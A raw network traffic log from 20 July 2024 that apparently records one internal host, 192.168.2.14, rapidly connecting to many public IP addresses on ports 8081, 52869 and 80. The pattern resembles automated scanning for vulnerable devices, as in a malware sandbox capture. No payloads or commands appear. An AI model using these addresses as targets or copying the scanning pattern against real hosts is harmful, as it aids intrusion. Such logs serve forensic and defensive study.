Jul 20, 2024 23:01:03.150221109 CEST	42766	52869	192.168.2.14	149.86.2.31
Jul 20, 2024 23:01:03.150652885 CEST	8081	60310	82.158.248.76	192.168.2.14
Jul 20, 2024 23:01:03.150657892 CEST	8081	60310	82.158.248.76	192.168.2.14
Jul 20, 2024 23:01:03.150666952 CEST	52869	57638	124.90.204.138	192.168.2.14
Jul 20, 2024 23:01:03.150867939 CEST	57638	52869	192.168.2.14	124.90.204.138
Jul 20, 2024 23:01:03.151385069 CEST	8081	60628	82.158.248.76	192.168.2.14
Jul 20, 2024 23:01:03.151422977 CEST	60628	8081	192.168.2.14	82.158.248.76
Jul 20, 2024 23:01:03.151499987 CEST	54268	8081	192.168.2.14	139.158.68.80
Jul 20, 2024 23:01:03.151499987 CEST	54268	8081	192.168.2.14	139.158.68.80
Jul 20, 2024 23:01:03.151794910 CEST	80	44936	88.122.134.59	192.168.2.14
Jul 20, 2024 23:01:03.152000904 CEST	44936	80	192.168.2.14	88.122.134.59
Jul 20, 2024 23:01:03.152133942 CEST	8081	35034	41.165.86.52	192.168.2.14
Jul 20, 2024 23:01:03.152137995 CEST	8081	35034	41.165.86.52	192.168.2.14
Jul 20, 2024 23:01:03.152452946 CEST	45678	52869	192.168.2.14	141.224.95.108
Jul 20, 2024 23:01:03.152862072 CEST	52869	50454	77.164.7.36	192.168.2.14
Jul 20, 2024 23:01:03.153018951 CEST	54590	8081	192.168.2.14	139.158.68.80
Jul 20, 2024 23:01:03.153074980 CEST	50454	52869	192.168.2.14	77.164.7.36
Jul 20, 2024 23:01:03.154076099 CEST	39836	80	192.168.2.14	88.99.254.253
Jul 20, 2024 23:01:03.154647112 CEST	52869	52958	181.146.224.142	192.168.2.14
Jul 20, 2024 23:01:03.154652119 CEST	8081	35354	41.165.86.52	192.168.2.14
Jul 20, 2024 23:01:03.154719114 CEST	35354	8081	192.168.2.14	41.165.86.52
Jul 20, 2024 23:01:03.154776096 CEST	80	41378	88.24.81.58	192.168.2.14
Jul 20, 2024 23:01:03.154817104 CEST	41378	80	192.168.2.14	88.24.81.58
Jul 20, 2024 23:01:03.155038118 CEST	52376	8081	192.168.2.14	187.124.242.50
Jul 20, 2024 23:01:03.155038118 CEST	52376	8081	192.168.2.14	187.124.242.50
Jul 20, 2024 23:01:03.155466080 CEST	8081	36462	62.246.141.35	192.168.2.14
Jul 20, 2024 23:01:03.155890942 CEST	41912	52869	192.168.2.14	157.159.16.125
Jul 20, 2024 23:01:03.155896902 CEST	80	43480	88.69.180.92	192.168.2.14
Jul 20, 2024 23:01:03.156688929 CEST	8081	54268	139.158.68.80	192.168.2.14
Jul 20, 2024 23:01:03.156692982 CEST	8081	54268	139.158.68.80	192.168.2.14
Jul 20, 2024 23:01:03.156702042 CEST	52869	57638	124.90.204.138	192.168.2.14
Jul 20, 2024 23:01:03.157154083 CEST	8081	60628	82.158.248.76	192.168.2.14
Jul 20, 2024 23:01:03.157702923 CEST	52869	45678	141.224.95.108	192.168.2.14
Jul 20, 2024 23:01:03.157720089 CEST	52700	8081	192.168.2.14	187.124.242.50
Jul 20, 2024 23:01:03.157746077 CEST	45678	52869	192.168.2.14	141.224.95.108
Jul 20, 2024 23:01:03.157866955 CEST	80	44936	88.122.134.59	192.168.2.14
Jul 20, 2024 23:01:03.157978058 CEST	60098	80	192.168.2.14	88.236.76.24
Jul 20, 2024 23:01:03.158209085 CEST	8081	54590	139.158.68.80	192.168.2.14
Jul 20, 2024 23:01:03.158256054 CEST	36462	8081	192.168.2.14	62.246.141.35
Jul 20, 2024 23:01:03.158257008 CEST	60628	8081	192.168.2.14	82.158.248.76
Jul 20, 2024 23:01:03.158258915 CEST	43480	80	192.168.2.14	88.69.180.92
Jul 20, 2024 23:01:03.158289909 CEST	54590	8081	192.168.2.14	139.158.68.80
Jul 20, 2024 23:01:03.158379078 CEST	57638	52869	192.168.2.14	124.90.204.138
Jul 20, 2024 23:01:03.158937931 CEST	52869	50454	77.164.7.36	192.168.2.14
Jul 20, 2024 23:01:03.159096956 CEST	80	39836	88.99.254.253	192.168.2.14
Jul 20, 2024 23:01:03.159135103 CEST	39836	80	192.168.2.14	88.99.254.253
Jul 20, 2024 23:01:03.159439087 CEST	46882	8081	192.168.2.14	1.178.171.139
Jul 20, 2024 23:01:03.159439087 CEST	46882	8081	192.168.2.14	1.178.171.139
Jul 20, 2024 23:01:03.159910917 CEST	8081	35354	41.165.86.52	192.168.2.14
Jul 20, 2024 23:01:03.160150051 CEST	44936	80	192.168.2.14	88.122.134.59
Jul 20, 2024 23:01:03.160150051 CEST	52958	52869	192.168.2.14	181.146.224.142
Jul 20, 2024 23:01:03.160150051 CEST	50862	52869	192.168.2.14	151.136.169.42
Jul 20, 2024 23:01:03.160166025 CEST	8081	52376	187.124.242.50	192.168.2.14
Jul 20, 2024 23:01:03.160171032 CEST	80	41378	88.24.81.58	192.168.2.14
Jul 20, 2024 23:01:03.160813093 CEST	8081	52376	187.124.242.50	192.168.2.14
Jul 20, 2024 23:01:03.161057949 CEST	52869	41912	157.159.16.125	192.168.2.14
Jul 20, 2024 23:01:03.161096096 CEST	41912	52869	192.168.2.14	157.159.16.125
Jul 20, 2024 23:01:03.161160946 CEST	47208	8081	192.168.2.14	1.178.171.139
Jul 20, 2024 23:01:03.162076950 CEST	33498	80	192.168.2.14	88.46.52.83
Jul 20, 2024 23:01:03.162215948 CEST	35354	8081	192.168.2.14	41.165.86.52
Jul 20, 2024 23:01:03.162220001 CEST	41378	80	192.168.2.14	88.24.81.58
Jul 20, 2024 23:01:03.162949085 CEST	40108	8081	192.168.2.14	4.252.192.158
Jul 20, 2024 23:01:03.162949085 CEST	40108	8081	192.168.2.14	4.252.192.158
Jul 20, 2024 23:01:03.163486958 CEST	80	60098	88.236.76.24	192.168.2.14
Jul 20, 2024 23:01:03.163492918 CEST	52869	45678	141.224.95.108	192.168.2.14
Jul 20, 2024 23:01:03.163722992 CEST	51920	52869	192.168.2.14	146.126.33.191
Jul 20, 2024 23:01:03.163937092 CEST	8081	54590	139.158.68.80	192.168.2.14
Jul 20, 2024 23:01:03.164413929 CEST	50454	52869	192.168.2.14	77.164.7.36
Jul 20, 2024 23:01:03.164426088 CEST	60098	80	192.168.2.14	88.236.76.24
Jul 20, 2024 23:01:03.164587021 CEST	8081	46882	1.178.171.139	192.168.2.14
Jul 20, 2024 23:01:03.164829969 CEST	8081	46882	1.178.171.139	192.168.2.14
Jul 20, 2024 23:01:03.165790081 CEST	8081	52700	187.124.242.50	192.168.2.14
Jul 20, 2024 23:01:03.165988922 CEST	80	39836	88.99.254.253	192.168.2.14
Jul 20, 2024 23:01:03.165997982 CEST	52869	50862	151.136.169.42	192.168.2.14
Jul 20, 2024 23:01:03.166219950 CEST	54590	8081	192.168.2.14	139.158.68.80
Jul 20, 2024 23:01:03.166218042 CEST	39836	80	192.168.2.14	88.99.254.253
Jul 20, 2024 23:01:03.166228056 CEST	45678	52869	192.168.2.14	141.224.95.108
Jul 20, 2024 23:01:03.166378021 CEST	52700	8081	192.168.2.14	187.124.242.50
Jul 20, 2024 23:01:03.166378021 CEST	50862	52869	192.168.2.14	151.136.169.42
Jul 20, 2024 23:01:03.166399956 CEST	8081	47208	1.178.171.139	192.168.2.14
Jul 20, 2024 23:01:03.166438103 CEST	47208	8081	192.168.2.14	1.178.171.139
Jul 20, 2024 23:01:03.166932106 CEST	80	33498	88.46.52.83	192.168.2.14
Jul 20, 2024 23:01:03.166991949 CEST	33498	80	192.168.2.14	88.46.52.83
Jul 20, 2024 23:01:03.167160988 CEST	40436	8081	192.168.2.14	4.252.192.158
Jul 20, 2024 23:01:03.168126106 CEST	42174	80	192.168.2.14	88.206.27.242
Jul 20, 2024 23:01:03.168404102 CEST	52869	41912	157.159.16.125	192.168.2.14
Jul 20, 2024 23:01:03.168410063 CEST	8081	40108	4.252.192.158	192.168.2.14
Jul 20, 2024 23:01:03.168417931 CEST	8081	40108	4.252.192.158	192.168.2.14
Jul 20, 2024 23:01:03.168710947 CEST	52869	51920	146.126.33.191	192.168.2.14
Jul 20, 2024 23:01:03.169311047 CEST	51920	52869	192.168.2.14	146.126.33.191
Jul 20, 2024 23:01:03.170339108 CEST	80	60098	88.236.76.24	192.168.2.14
Jul 20, 2024 23:01:03.170738935 CEST	41912	52869	192.168.2.14	157.159.16.125
Jul 20, 2024 23:01:03.171634912 CEST	47274	8081	192.168.2.14	99.217.244.226
Jul 20, 2024 23:01:03.171634912 CEST	47274	8081	192.168.2.14	99.217.244.226
Jul 20, 2024 23:01:03.171978951 CEST	8081	47208	1.178.171.139	192.168.2.14
Jul 20, 2024 23:01:03.172420025 CEST	8081	40436	4.252.192.158	192.168.2.14
Jul 20, 2024 23:01:03.172435999 CEST	47604	8081	192.168.2.14	99.217.244.226
Jul 20, 2024 23:01:03.172456026 CEST	40436	8081	192.168.2.14	4.252.192.158
Jul 20, 2024 23:01:03.173926115 CEST	8081	52700	187.124.242.50	192.168.2.14
Jul 20, 2024 23:01:03.173930883 CEST	80	42174	88.206.27.242	192.168.2.14
Jul 20, 2024 23:01:03.173990965 CEST	42174	80	192.168.2.14	88.206.27.242
Jul 20, 2024 23:01:03.174016953 CEST	52869	50862	151.136.169.42	192.168.2.14
Jul 20, 2024 23:01:03.174221039 CEST	47208	8081	192.168.2.14	1.178.171.139
Jul 20, 2024 23:01:03.175642967 CEST	80	33498	88.46.52.83	192.168.2.14
Jul 20, 2024 23:01:03.175698996 CEST	60098	80	192.168.2.14	88.236.76.24
Jul 20, 2024 23:01:03.176192999 CEST	52869	51920	146.126.33.191	192.168.2.14
Jul 20, 2024 23:01:03.176687956 CEST	8081	47274	99.217.244.226	192.168.2.14
Jul 20, 2024 23:01:03.176697016 CEST	8081	47274	99.217.244.226	192.168.2.14
Jul 20, 2024 23:01:03.177777052 CEST	8081	47604	99.217.244.226	192.168.2.14
Jul 20, 2024 23:01:03.178317070 CEST	8081	40436	4.252.192.158	192.168.2.14
Jul 20, 2024 23:01:03.180480003 CEST	80	42174	88.206.27.242	192.168.2.14
Jul 20, 2024 23:01:03.180546045 CEST	47604	8081	192.168.2.14	99.217.244.226
Jul 20, 2024 23:01:03.182578087 CEST	40436	8081	192.168.2.14	4.252.192.158
Jul 20, 2024 23:01:03.182733059 CEST	51920	52869	192.168.2.14	146.126.33.191
Jul 20, 2024 23:01:03.182758093 CEST	50862	52869	192.168.2.14	151.136.169.42
Jul 20, 2024 23:01:03.182758093 CEST	52700	8081	192.168.2.14	187.124.242.50
Jul 20, 2024 23:01:03.183387041 CEST	42174	80	192.168.2.14	88.206.27.242
Jul 20, 2024 23:01:03.183387041 CEST	33498	80	192.168.2.14	88.46.52.83
Jul 20, 2024 23:01:03.183429956 CEST	56080	80	192.168.2.14	88.20.206.157
Jul 20, 2024 23:01:03.184019089 CEST	47716	8081	192.168.2.14	110.230.124.54
Jul 20, 2024 23:01:03.184019089 CEST	47716	8081	192.168.2.14	110.230.124.54
Jul 20, 2024 23:01:03.185375929 CEST	48046	8081	192.168.2.14	110.230.124.54
Jul 20, 2024 23:01:03.185784101 CEST	48438	80	192.168.2.14	88.91.129.45
Jul 20, 2024 23:01:03.187021017 CEST	39514	8081	192.168.2.14	222.1.41.48
Jul 20, 2024 23:01:03.187021017 CEST	39514	8081	192.168.2.14	222.1.41.48
Jul 20, 2024 23:01:03.187452078 CEST	8081	47604	99.217.244.226	192.168.2.14
Jul 20, 2024 23:01:03.188122988 CEST	39844	8081	192.168.2.14	222.1.41.48
Jul 20, 2024 23:01:03.190263033 CEST	47604	8081	192.168.2.14	99.217.244.226
Jul 20, 2024 23:01:03.190879107 CEST	58516	8081	192.168.2.14	62.143.254.184
Jul 20, 2024 23:01:03.190879107 CEST	58516	8081	192.168.2.14	62.143.254.184
Jul 20, 2024 23:01:03.191307068 CEST	53068	80	192.168.2.14	88.238.152.198
Jul 20, 2024 23:01:03.191766024 CEST	8081	47716	110.230.124.54	192.168.2.14
Jul 20, 2024 23:01:03.191775084 CEST	80	56080	88.20.206.157	192.168.2.14
Jul 20, 2024 23:01:03.191792965 CEST	8081	48046	110.230.124.54	192.168.2.14
Jul 20, 2024 23:01:03.191797972 CEST	80	48438	88.91.129.45	192.168.2.14
Jul 20, 2024 23:01:03.191852093 CEST	48046	8081	192.168.2.14	110.230.124.54
Jul 20, 2024 23:01:03.192006111 CEST	56080	80	192.168.2.14	88.20.206.157
Jul 20, 2024 23:01:03.192110062 CEST	48438	80	192.168.2.14	88.91.129.45
Jul 20, 2024 23:01:03.192188025 CEST	58846	8081	192.168.2.14	62.143.254.184
Jul 20, 2024 23:01:03.192641973 CEST	55510	80	192.168.2.14	88.139.161.201
Jul 20, 2024 23:01:03.193658113 CEST	8081	39514	222.1.41.48	192.168.2.14
Jul 20, 2024 23:01:03.193795919 CEST	8081	39844	222.1.41.48	192.168.2.14
Jul 20, 2024 23:01:03.194442987 CEST	49272	8081	192.168.2.14	149.47.207.151
Jul 20, 2024 23:01:03.194442987 CEST	49272	8081	192.168.2.14	149.47.207.151
Jul 20, 2024 23:01:03.194442987 CEST	39844	8081	192.168.2.14	222.1.41.48
Jul 20, 2024 23:01:03.196769953 CEST	49602	8081	192.168.2.14	149.47.207.151
Jul 20, 2024 23:01:03.197405100 CEST	8081	58516	62.143.254.184	192.168.2.14
Jul 20, 2024 23:01:03.198329926 CEST	48344	80	192.168.2.14	88.254.81.94
Jul 20, 2024 23:01:03.198944092 CEST	49146	8081	192.168.2.14	79.211.151.120
Jul 20, 2024 23:01:03.198944092 CEST	49146	8081	192.168.2.14	79.211.151.120
Jul 20, 2024 23:01:03.199122906 CEST	57974	52869	192.168.2.14	99.202.52.30
Jul 20, 2024 23:01:03.200223923 CEST	49478	8081	192.168.2.14	79.211.151.120
Jul 20, 2024 23:01:03.200370073 CEST	8081	58516	62.143.254.184	192.168.2.14
Jul 20, 2024 23:01:03.200577021 CEST	80	53068	88.238.152.198	192.168.2.14
Jul 20, 2024 23:01:03.200696945 CEST	33602	80	192.168.2.14	88.236.102.72
Jul 20, 2024 23:01:03.201268911 CEST	53068	80	192.168.2.14	88.238.152.198
Jul 20, 2024 23:01:03.202013016 CEST	8081	58846	62.143.254.184	192.168.2.14
Jul 20, 2024 23:01:03.202023029 CEST	80	55510	88.139.161.201	192.168.2.14
Jul 20, 2024 23:01:03.202027082 CEST	8081	48046	110.230.124.54	192.168.2.14
Jul 20, 2024 23:01:03.202056885 CEST	58846	8081	192.168.2.14	62.143.254.184
Jul 20, 2024 23:01:03.202068090 CEST	55510	80	192.168.2.14	88.139.161.201
Jul 20, 2024 23:01:03.202213049 CEST	48046	8081	192.168.2.14	110.230.124.54
Jul 20, 2024 23:01:03.202608109 CEST	44202	8081	192.168.2.14	150.134.66.131
Jul 20, 2024 23:01:03.202608109 CEST	44202	8081	192.168.2.14	150.134.66.131
Jul 20, 2024 23:01:03.202800989 CEST	8081	49272	149.47.207.151	192.168.2.14
Jul 20, 2024 23:01:03.202850103 CEST	8081	49602	149.47.207.151	192.168.2.14
Jul 20, 2024 23:01:03.202887058 CEST	49602	8081	192.168.2.14	149.47.207.151
Jul 20, 2024 23:01:03.204130888 CEST	80	48344	88.254.81.94	192.168.2.14
Jul 20, 2024 23:01:03.204134941 CEST	80	48438	88.91.129.45	192.168.2.14
Jul 20, 2024 23:01:03.204179049 CEST	48344	80	192.168.2.14	88.254.81.94
Jul 20, 2024 23:01:03.204535007 CEST	8081	49146	79.211.151.120	192.168.2.14
Jul 20, 2024 23:01:03.204538107 CEST	8081	49146	79.211.151.120	192.168.2.14
Jul 20, 2024 23:01:03.204572916 CEST	52869	57974	99.202.52.30	192.168.2.14
Jul 20, 2024 23:01:03.204628944 CEST	57974	52869	192.168.2.14	99.202.52.30
Jul 20, 2024 23:01:03.205549002 CEST	8081	49478	79.211.151.120	192.168.2.14
Jul 20, 2024 23:01:03.205598116 CEST	49478	8081	192.168.2.14	79.211.151.120
Jul 20, 2024 23:01:03.206053972 CEST	80	33602	88.236.102.72	192.168.2.14
Jul 20, 2024 23:01:03.206058979 CEST	80	56080	88.20.206.157	192.168.2.14
Jul 20, 2024 23:01:03.206106901 CEST	33602	80	192.168.2.14	88.236.102.72
Jul 20, 2024 23:01:03.206216097 CEST	56080	80	192.168.2.14	88.20.206.157
Jul 20, 2024 23:01:03.206222057 CEST	48438	80	192.168.2.14	88.91.129.45
Jul 20, 2024 23:01:03.206717014 CEST	44534	8081	192.168.2.14	150.134.66.131
Jul 20, 2024 23:01:03.207878113 CEST	40684	80	192.168.2.14	88.116.243.152
Jul 20, 2024 23:01:03.208395958 CEST	8081	39844	222.1.41.48	192.168.2.14
Jul 20, 2024 23:01:03.208425999 CEST	44984	8081	192.168.2.14	148.158.175.129
Jul 20, 2024 23:01:03.208425999 CEST	44984	8081	192.168.2.14	148.158.175.129
Jul 20, 2024 23:01:03.209263086 CEST	51692	52869	192.168.2.14	49.217.12.33
Jul 20, 2024 23:01:03.209264994 CEST	80	53068	88.238.152.198	192.168.2.14
Jul 20, 2024 23:01:03.209311962 CEST	8081	58846	62.143.254.184	192.168.2.14
Jul 20, 2024 23:01:03.209578037 CEST	80	55510	88.139.161.201	192.168.2.14
Jul 20, 2024 23:01:03.209778070 CEST	8081	49602	149.47.207.151	192.168.2.14
Jul 20, 2024 23:01:03.210189104 CEST	8081	44202	150.134.66.131	192.168.2.14
Jul 20, 2024 23:01:03.210196972 CEST	8081	44202	150.134.66.131	192.168.2.14
Jul 20, 2024 23:01:03.210222006 CEST	58846	8081	192.168.2.14	62.143.254.184
Jul 20, 2024 23:01:03.210407019 CEST	49602	8081	192.168.2.14	149.47.207.151
Jul 20, 2024 23:01:03.210536003 CEST	80	48344	88.254.81.94	192.168.2.14
Jul 20, 2024 23:01:03.210604906 CEST	39844	8081	192.168.2.14	222.1.41.48
Jul 20, 2024 23:01:03.211432934 CEST	53068	80	192.168.2.14	88.238.152.198
Jul 20, 2024 23:01:03.211442947 CEST	52869	57974	99.202.52.30	192.168.2.14
Jul 20, 2024 23:01:03.211653948 CEST	55510	80	192.168.2.14	88.139.161.201
Jul 20, 2024 23:01:03.211653948 CEST	45318	8081	192.168.2.14	148.158.175.129
Jul 20, 2024 23:01:03.212007999 CEST	45772	80	192.168.2.14	88.156.64.96
Jul 20, 2024 23:01:03.212522030 CEST	8081	44534	150.134.66.131	192.168.2.14
Jul 20, 2024 23:01:03.212534904 CEST	8081	49478	79.211.151.120	192.168.2.14
Jul 20, 2024 23:01:03.212574959 CEST	44534	8081	192.168.2.14	150.134.66.131
Jul 20, 2024 23:01:03.213690996 CEST	80	40684	88.116.243.152	192.168.2.14
Jul 20, 2024 23:01:03.213869095 CEST	8081	44984	148.158.175.129	192.168.2.14
Jul 20, 2024 23:01:03.213872910 CEST	80	33602	88.236.102.72	192.168.2.14
Jul 20, 2024 23:01:03.213882923 CEST	8081	44984	148.158.175.129	192.168.2.14
Jul 20, 2024 23:01:03.214255095 CEST	49478	8081	192.168.2.14	79.211.151.120
Jul 20, 2024 23:01:03.214534998 CEST	40382	8081	192.168.2.14	51.223.103.159
Jul 20, 2024 23:01:03.214534998 CEST	40382	8081	192.168.2.14	51.223.103.159
Jul 20, 2024 23:01:03.214802980 CEST	52869	51692	49.217.12.33	192.168.2.14
Jul 20, 2024 23:01:03.215071917 CEST	40684	80	192.168.2.14	88.116.243.152
Jul 20, 2024 23:01:03.215071917 CEST	33602	80	192.168.2.14	88.236.102.72
Jul 20, 2024 23:01:03.215919971 CEST	40718	8081	192.168.2.14	51.223.103.159
Jul 20, 2024 23:01:03.217329025 CEST	8081	45318	148.158.175.129	192.168.2.14
Jul 20, 2024 23:01:03.217938900 CEST	80	45772	88.156.64.96	192.168.2.14
Jul 20, 2024 23:01:03.218066931 CEST	33976	8081	192.168.2.14	192.158.1.164
Jul 20, 2024 23:01:03.218066931 CEST	33976	8081	192.168.2.14	192.158.1.164
Jul 20, 2024 23:01:03.218482018 CEST	57974	52869	192.168.2.14	99.202.52.30
Jul 20, 2024 23:01:03.218482971 CEST	48344	80	192.168.2.14	88.254.81.94
Jul 20, 2024 23:01:03.218482971 CEST	51692	52869	192.168.2.14	49.217.12.33
Jul 20, 2024 23:01:03.218482971 CEST	40120	80	192.168.2.14	88.252.93.16
Jul 20, 2024 23:01:03.219209909 CEST	8081	44534	150.134.66.131	192.168.2.14
Jul 20, 2024 23:01:03.219329119 CEST	45772	80	192.168.2.14	88.156.64.96
Jul 20, 2024 23:01:03.219440937 CEST	34314	8081	192.168.2.14	192.158.1.164
Jul 20, 2024 23:01:03.219904900 CEST	8081	40382	51.223.103.159	192.168.2.14
Jul 20, 2024 23:01:03.219913006 CEST	8081	40382	51.223.103.159	192.168.2.14
Jul 20, 2024 23:01:03.220016956 CEST	45346	80	192.168.2.14	88.200.42.130
Jul 20, 2024 23:01:03.220581055 CEST	45318	8081	192.168.2.14	148.158.175.129
Jul 20, 2024 23:01:03.220581055 CEST	45096	52869	192.168.2.14	181.129.237.7
Jul 20, 2024 23:01:03.221055984 CEST	80	40684	88.116.243.152	192.168.2.14
Jul 20, 2024 23:01:03.221265078 CEST	8081	40718	51.223.103.159	192.168.2.14
Jul 20, 2024 23:01:03.221323967 CEST	40718	8081	192.168.2.14	51.223.103.159
Jul 20, 2024 23:01:03.221842051 CEST	58530	8081	192.168.2.14	220.34.138.145
Jul 20, 2024 23:01:03.221842051 CEST	58530	8081	192.168.2.14	220.34.138.145
Jul 20, 2024 23:01:03.222227097 CEST	44534	8081	192.168.2.14	150.134.66.131
Jul 20, 2024 23:01:03.222356081 CEST	40684	80	192.168.2.14	88.116.243.152
Jul 20, 2024 23:01:03.223205090 CEST	58868	8081	192.168.2.14	220.34.138.145
Jul 20, 2024 23:01:03.223263979 CEST	8081	33976	192.158.1.164	192.168.2.14
Jul 20, 2024 23:01:03.223706007 CEST	8081	33976	192.158.1.164	192.168.2.14
Jul 20, 2024 23:01:03.224503040 CEST	50134	80	192.168.2.14	88.77.208.175
Jul 20, 2024 23:01:03.224630117 CEST	8081	34314	192.158.1.164	192.168.2.14
Jul 20, 2024 23:01:03.225622892 CEST	34314	8081	192.168.2.14	192.158.1.164
Jul 20, 2024 23:01:03.225622892 CEST	41616	8081	192.168.2.14	208.88.231.250
Jul 20, 2024 23:01:03.225622892 CEST	41616	8081	192.168.2.14	208.88.231.250
Jul 20, 2024 23:01:03.225748062 CEST	36548	52869	192.168.2.14	72.184.169.139
Jul 20, 2024 23:01:03.226089001 CEST	80	45346	88.200.42.130	192.168.2.14
Jul 20, 2024 23:01:03.226098061 CEST	52869	51692	49.217.12.33	192.168.2.14
Jul 20, 2024 23:01:03.226103067 CEST	80	40120	88.252.93.16	192.168.2.14
Jul 20, 2024 23:01:03.226146936 CEST	40120	80	192.168.2.14	88.252.93.16
Jul 20, 2024 23:01:03.226231098 CEST	51692	52869	192.168.2.14	49.217.12.33
Jul 20, 2024 23:01:03.226526976 CEST	80	45772	88.156.64.96	192.168.2.14
Jul 20, 2024 23:01:03.226531982 CEST	8081	45318	148.158.175.129	192.168.2.14
Jul 20, 2024 23:01:03.226980925 CEST	8081	40718	51.223.103.159	192.168.2.14
Jul 20, 2024 23:01:03.227020025 CEST	52869	45096	181.129.237.7	192.168.2.14
Jul 20, 2024 23:01:03.227061987 CEST	45096	52869	192.168.2.14	181.129.237.7
Jul 20, 2024 23:01:03.227303982 CEST	8081	58530	220.34.138.145	192.168.2.14
Jul 20, 2024 23:01:03.227308035 CEST	8081	58530	220.34.138.145	192.168.2.14
Jul 20, 2024 23:01:03.227607965 CEST	41956	8081	192.168.2.14	208.88.231.250
Jul 20, 2024 23:01:03.228096008 CEST	45346	80	192.168.2.14	88.200.42.130
Jul 20, 2024 23:01:03.228101969 CEST	57296	80	192.168.2.14	88.216.10.4
Jul 20, 2024 23:01:03.228235960 CEST	8081	58868	220.34.138.145	192.168.2.14
Jul 20, 2024 23:01:03.228280067 CEST	58868	8081	192.168.2.14	220.34.138.145
Jul 20, 2024 23:01:03.229048014 CEST	37320	8081	192.168.2.14	174.66.196.189
Jul 20, 2024 23:01:03.229048967 CEST	37320	8081	192.168.2.14	174.66.196.189
Jul 20, 2024 23:01:03.229768991 CEST	80	50134	88.77.208.175	192.168.2.14
Jul 20, 2024 23:01:03.230211973 CEST	40718	8081	192.168.2.14	51.223.103.159
Jul 20, 2024 23:01:03.230264902 CEST	37660	8081	192.168.2.14	174.66.196.189
Jul 20, 2024 23:01:03.230487108 CEST	45772	80	192.168.2.14	88.156.64.96
Jul 20, 2024 23:01:03.230601072 CEST	8081	41616	208.88.231.250	192.168.2.14
Jul 20, 2024 23:01:03.230604887 CEST	8081	41616	208.88.231.250	192.168.2.14
Jul 20, 2024 23:01:03.231187105 CEST	48552	80	192.168.2.14	88.240.131.159
Jul 20, 2024 23:01:03.231245041 CEST	50134	80	192.168.2.14	88.77.208.175
Jul 20, 2024 23:01:03.231245041 CEST	45318	8081	192.168.2.14	148.158.175.129
Jul 20, 2024 23:01:03.231537104 CEST	80	40120	88.252.93.16	192.168.2.14
Jul 20, 2024 23:01:03.231576920 CEST	53556	8081	192.168.2.14	116.112.246.232
Jul 20, 2024 23:01:03.231576920 CEST	53556	8081	192.168.2.14	116.112.246.232
Jul 20, 2024 23:01:03.231929064 CEST	52869	36548	72.184.169.139	192.168.2.14
Jul 20, 2024 23:01:03.231981993 CEST	36548	52869	192.168.2.14	72.184.169.139
Jul 20, 2024 23:01:03.232579947 CEST	52869	45096	181.129.237.7	192.168.2.14
Jul 20, 2024 23:01:03.232722998 CEST	8081	47716	110.230.124.54	192.168.2.14
Jul 20, 2024 23:01:03.232741117 CEST	54232	52869	192.168.2.14	194.147.115.196
Jul 20, 2024 23:01:03.233042002 CEST	8081	41956	208.88.231.250	192.168.2.14
Jul 20, 2024 23:01:03.233127117 CEST	80	57296	88.216.10.4	192.168.2.14
Jul 20, 2024 23:01:03.233212948 CEST	57296	80	192.168.2.14	88.216.10.4
Jul 20, 2024 23:01:03.233311892 CEST	53898	8081	192.168.2.14	116.112.246.232
Jul 20, 2024 23:01:03.233733892 CEST	58264	80	192.168.2.14	88.244.23.21
Jul 20, 2024 23:01:03.233791113 CEST	80	45346	88.200.42.130	192.168.2.14
Jul 20, 2024 23:01:03.233795881 CEST	8081	58868	220.34.138.145	192.168.2.14
Jul 20, 2024 23:01:03.234092951 CEST	8081	37320	174.66.196.189	192.168.2.14
Jul 20, 2024 23:01:03.234148026 CEST	8081	37320	174.66.196.189	192.168.2.14
Jul 20, 2024 23:01:03.234219074 CEST	45096	52869	192.168.2.14	181.129.237.7
Jul 20, 2024 23:01:03.234334946 CEST	58868	8081	192.168.2.14	220.34.138.145
Jul 20, 2024 23:01:03.234334946 CEST	40120	80	192.168.2.14	88.252.93.16
Jul 20, 2024 23:01:03.234344959 CEST	41956	8081	192.168.2.14	208.88.231.250
Jul 20, 2024 23:01:03.234778881 CEST	45346	80	192.168.2.14	88.200.42.130
Jul 20, 2024 23:01:03.234958887 CEST	51698	8081	192.168.2.14	126.223.59.180
Jul 20, 2024 23:01:03.234958887 CEST	51698	8081	192.168.2.14	126.223.59.180
Jul 20, 2024 23:01:03.235510111 CEST	8081	37660	174.66.196.189	192.168.2.14
Jul 20, 2024 23:01:03.235656023 CEST	37660	8081	192.168.2.14	174.66.196.189
Jul 20, 2024 23:01:03.236123085 CEST	52040	8081	192.168.2.14	126.223.59.180
Jul 20, 2024 23:01:03.236148119 CEST	80	48552	88.240.131.159	192.168.2.14
Jul 20, 2024 23:01:03.236205101 CEST	48552	80	192.168.2.14	88.240.131.159
Jul 20, 2024 23:01:03.236475945 CEST	8081	53556	116.112.246.232	192.168.2.14
Jul 20, 2024 23:01:03.236702919 CEST	8081	53556	116.112.246.232	192.168.2.14
Jul 20, 2024 23:01:03.236799002 CEST	8081	39514	222.1.41.48	192.168.2.14
Jul 20, 2024 23:01:03.237713099 CEST	52869	54232	194.147.115.196	192.168.2.14
Jul 20, 2024 23:01:03.237718105 CEST	80	50134	88.77.208.175	192.168.2.14
Jul 20, 2024 23:01:03.237806082 CEST	54232	52869	192.168.2.14	194.147.115.196
Jul 20, 2024 23:01:03.238558054 CEST	8081	53898	116.112.246.232	192.168.2.14
Jul 20, 2024 23:01:03.238893986 CEST	53898	8081	192.168.2.14	116.112.246.232
Jul 20, 2024 23:01:03.238970995 CEST	80	58264	88.244.23.21	192.168.2.14
Jul 20, 2024 23:01:03.239027023 CEST	58264	80	192.168.2.14	88.244.23.21
Jul 20, 2024 23:01:03.239373922 CEST	58832	80	192.168.2.14	88.137.178.19
Jul 20, 2024 23:01:03.239373922 CEST	50134	80	192.168.2.14	88.77.208.175
Jul 20, 2024 23:01:03.239892006 CEST	8081	51698	126.223.59.180	192.168.2.14
Jul 20, 2024 23:01:03.240149975 CEST	52869	36548	72.184.169.139	192.168.2.14
Jul 20, 2024 23:01:03.240564108 CEST	8081	51698	126.223.59.180	192.168.2.14
Jul 20, 2024 23:01:03.240634918 CEST	54574	8081	192.168.2.14	87.233.63.246
Jul 20, 2024 23:01:03.240634918 CEST	54574	8081	192.168.2.14	87.233.63.246
Jul 20, 2024 23:01:03.240734100 CEST	56844	52869	192.168.2.14	114.173.101.131
Jul 20, 2024 23:01:03.241249084 CEST	8081	52040	126.223.59.180	192.168.2.14
Jul 20, 2024 23:01:03.241626024 CEST	52040	8081	192.168.2.14	126.223.59.180
Jul 20, 2024 23:01:03.242206097 CEST	54918	8081	192.168.2.14	87.233.63.246
Jul 20, 2024 23:01:03.242309093 CEST	36548	52869	192.168.2.14	72.184.169.139
Jul 20, 2024 23:01:03.242676020 CEST	43606	80	192.168.2.14	88.228.66.77
